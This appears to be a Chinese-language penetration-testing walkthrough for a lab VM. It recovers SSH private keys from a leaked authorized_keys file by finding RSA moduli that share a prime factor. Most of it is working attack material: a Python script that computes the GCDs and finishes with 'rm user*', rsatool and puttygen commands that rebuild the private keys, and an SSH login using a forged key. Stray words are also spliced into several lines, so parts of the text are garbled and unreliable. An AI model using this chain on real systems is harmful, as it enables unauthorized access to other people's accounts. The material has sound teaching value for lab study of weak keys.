滲透測試過程當中,有時候會在某個未受權訪問漏洞中獲取authorized_keys文件,裏面有大量帳戶用於免密登陸的PublicKey,這個時候如何進行下一步滲透?python
能夠考慮rsa碰撞的方式,找到公用p因子的兩個公鑰,從而逐步恢復出私鑰(具體原理不太明白,聽說來自一篇論文:https://factorable.net/weakkeys12.extended.pdf),本文方法學習自:https://hackso.me/rsa-1-walkthrough/,手動重寫了原文中的腳本,所有改成python執行,該腳本python2和python3兼容es6
*注:這裏須要rsa的基礎知識,最起碼須要知道rsa加密算法的兩個個因子:p、q 分別是什麼算法
*注:這種方法成功率相對較低,目前計算機性能算力算法的綜合做用下,找到公用p因子的可能性極低,因此想要成功須要有一個前提,authorized_keys文件中有大量公鑰shell
1、獲取authorized_keys文件,並執行如下腳本。----測試authorized_key文件和和attack.py腳本附在文末app
該腳本能夠算出哪兩個公鑰共用了一個p,並顯示出其對應的q是什麼ssh
root@kali:~/Desktop/Pentration# python3 attack.py [('2', '4', 154417972435807005071073724522212444390586453823829143415803831059147415798074017502040314003763421243774270757922304211573942665136361376688205405360960917939484579087307177536921412011411703961828583167653172004502917347120641950199480561070177933253465927358617195370782866425595898798109004224439814798057, 154138482778403634422324585381094741396112094157924874391263694520821571222861298674105765179306306537493034017749692130071107610613435921888902004138078680460276016821583678249932808105907339203963186655685583329163374562641235896970977501756291570424272228689701476926803652905250957577229144433204452772127, 153278113332014430314822533712203891727299288836706793970670250689211994721080531031391472583116454287125291108401187935648312751844041461411234500935073837231805656247842743814066543045935616374230913460500896653516311833291062554618374636514900539486293512925569339760306744210644153977272176465759656466897)]
能夠看到第二和第四條公鑰共用了一個p性能
2、計算兩個公鑰對應的RSA私鑰學習
通過第一步,已經將SSH公鑰轉換爲了RSA公鑰,這裏根據所得p和q能夠計算出兩個公鑰對應的RSA私鑰,須要用到rsatools測試
root@kali:~/Desktop/Pentration/rsatool# ./rsatool.py -o user2.pem -p 154417972435807005071073724522212444390586453823829143415803831059147415798074017502040314003763421243774270757922304211573942665136361376688205405360960917939484579087307177536921412011411703961828583167653172004502917347120641950199480561070177933253465927358617195370782866425595898798109004224439814798057 -q 154138482778403634422324585381094741396112094157924874391263694520821571222861298674105765179306306537493034017749692130071107610613435921888902004138078680460276016821583678249932808105907339203963186655685583329163374562641235896970977501756291570424272228689701476926803652905250957577229144433204452772127
root@kali:~/Desktop/Pentration/rsatool# ./rsatool.py -o user4.pem -p 154417972435807005071073724522212444390586453823829143415803831059147415798074017502040314003763421243774270757922304211573942665136361376688205405360960917939484579087307177536921412011411703961828583167653172004502917347120641950199480561070177933253465927358617195370782866425595898798109004224439814798057 -q 153278113332014430314822533712203891727299288836706793970670250689211994721080531031391472583116454287125291108401187935648312751844041461411234500935073837231805656247842743814066543045935616374230913460500896653516311833291062554618374636514900539486293512925569339760306744210644153977272176465759656466897
3、生成兩個公鑰對應的SSH私鑰ui
通過第二步生成了兩個公鑰對應的RSA私鑰,接下來就能夠生成SSH私鑰,用於免密登陸
root@kali:~/Desktop/Pentration/rsatool# puttygen user2.pem -o user2 -O private-openssh-new root@kali:~/Desktop/Pentration/rsatool# puttygen user4.pem -o user4 -O private-openssh-new
生成的user2和user4就是咱們須要的SSH私鑰
4、免密登陸主機
root@kali:~/Desktop/Pentration/rsatool# ssh -i user2 user2@192.168.109.248 Last login: Sat Jan 5 01:46:12 2019 from 192.168.109.131 OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. rsafun$
已經成功登陸
*附件
一、attack.py
#attack.py from itertools import combinations from fractions import gcd import subprocess import os file=open("authorized_keys") pubKeylist=file.readlines() tem1Name=1 for i in pubKeylist: tem1Name_t=str(tem1Name) file1_t=open("user"+tem1Name_t,'w') file1_t.write(i) file1_t.close() tem1Name+=1 file.close() #print(tem1Name) for i in range(1,tem1Name): cmd="ssh-keygen -e -m PEM -f user"+str(i)+" | "+"openssl rsa -RSAPublicKey_in -modulus -noout" rdata=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.readlines() for j in rdata: j=bytes.decode(j).split('=')[1] tem2Name=str(i) file2_t=open("user"+tem2Name+".n",'w') file2_t.write(j) file2_t.close() list = [] dict = {} result = [] # build list for i in range(9): list.append(str(i+1)) # build dictionary for x in list: dict[x] = int(open("user"+x+".n", 'r').read(), 16) # gcd for (i, j) in combinations(list, 2): p = gcd(dict[i], dict[j]) if (p != 1): result.append((i, j, p, int(dict[i]//p), int(dict[j]//p))) break print(result) os.system("rm user*")
二、authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4aOHSLLqN+odwP6G1GdxqJ+I/e1PuX3EbFe64snwy7IFAY8WrPBEsIqEWesOqUXzBI7G6YbiR13nen0XWqZtSn1yBbt1U1a8M+19phOVyo4Awx/wTvpG0EPYLI3H9J5aIOcBntXo6rrpiidMT2jYthUxwKKNUUHkbmLJ6QP9jNpCGZwm2CXO0GLmnFBYbE+53xKbX1DVD7aEiRxi62XhoUsepAsUJOzt4enAp3WuyMz9f8IlWg2BUiUFqlVImNRm9UuuoXhsBItLOcF0DHBgRZN4cFZyZO2x73SOJ5oJIikA3NhJ9rYwrE01HsKwYxhqXB94rM/SBTcJ5c6xes6Er user1@rsafun ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8i9Nk6Rpd6SlRG/FSPy/M8OXVEO/akLMVaNNJEpejOQ/ekdlTKyBMb4pIEwoKpu+PTTeAzigSNNTNg1TONyK0CsPJ3Uj1oJIrJXYNAFm7kxqQD2pKDIGB0hYj1pwivTLnNhh5cnS7Mnm9ijJPHQ8TEyade9a0v9Ps4BAFEIl9HfjkFm/KDTcQjuBjPTaYgazY5b/EHyfLf2deHeFT4AwzWBa7NdiFKKn5eXComWYIiBcUYWRf0ROd/Tx2aF3Q/h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